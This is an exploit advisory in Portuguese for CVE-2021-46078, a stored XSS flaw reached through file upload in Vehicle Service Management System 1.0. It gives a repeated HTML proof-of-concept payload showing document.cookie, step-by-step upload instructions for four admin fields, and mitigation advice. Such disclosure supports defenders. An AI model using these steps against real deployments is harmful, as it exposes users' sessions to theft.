CVE-2021-46078
Título do Exploit: Vehicle Service Management System - Upload Múltiplo de Arquivos Leva a Cross-Site Scripting Armazenado
Autor do Exploit: SANU P.L
CVE: CVE-2021-46078
CVSS: 4.8 MEDIUM
Referências:
Descrição:
Existe uma vulnerabilidade de Upload de Arquivo Irrestrito no Sourcecodester Vehicle Service Management System 1.0. Um atacante remoto pode fazer upload de arquivos maliciosos, levando a uma vulnerabilidade de Cross-Site Scripting Armazenado.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Minha Conta http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salve o código html acima como Ex:XSS.html
- Na seção Minha Conta, insira todos os detalhes necessários e selecione o arquivo html no campo Avatar.
- Clique no botão Atualizar.
- Abra a imagem do avatar em uma nova aba.
- O código javascript malicioso é acionado.
2. Vehicle Service Management System - 'Lista de Usuários' (/admin/?page=user/manage_user)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Lista de Usuários e clique no botão Criar Novo.
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salve o código html acima como Ex:XSS.html
- Na página Criar Novo Usuário, insira todos os detalhes necessários e selecione o arquivo html no campo Avatar.
- Clique no botão Salvar.
- Abra a imagem do avatar em uma nova aba.
- O código javascript malicioso é acionado.
3. Vehicle Service Management System - 'Configurações - Logotipo do Sistema' (/admin/?page=system_info)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salve o código html acima como Ex:XSS.html
- Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html no campo Logotipo do Sistema.
- Clique no botão Atualizar.
- Abra a imagem do Logotipo do Sistema em uma nova aba.
- O código javascript malicioso é acionado.
4. Vehicle Service Management System - 'Configurações - Capa do Site' (/admin/?page=system_info)
Exploit:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Salve o código html acima como Ex:XSS.html
- Na seção Configurações, insira todos os detalhes necessários e selecione o arquivo html no campo Capa do Site.
- Clique no botão Atualizar.
- Abra a imagem da Capa do Site em uma nova aba.
- O código javascript malicioso é acionado.
Impacto:
Um atacante pode fazer upload de arquivos maliciosos em múltiplos endpoints, o que leva a Cross-Site Scripting Armazenado.
Mitigação:
Recomenda-se implementar o seguinte:
- Nunca aceitar um nome de arquivo e sua extensão diretamente sem um filtro de lista branca.
- Se não houver necessidade de caracteres Unicode, é altamente recomendável aceitar apenas caracteres alfanuméricos e apenas um ponto como entrada para o nome do arquivo e a extensão.
- Limitar o tamanho do arquivo a um valor máximo para evitar ataques de negação de serviço.
- O diretório de upload não deve ter nenhuma permissão de "execução".
- Não confiar apenas na validação do lado do cliente.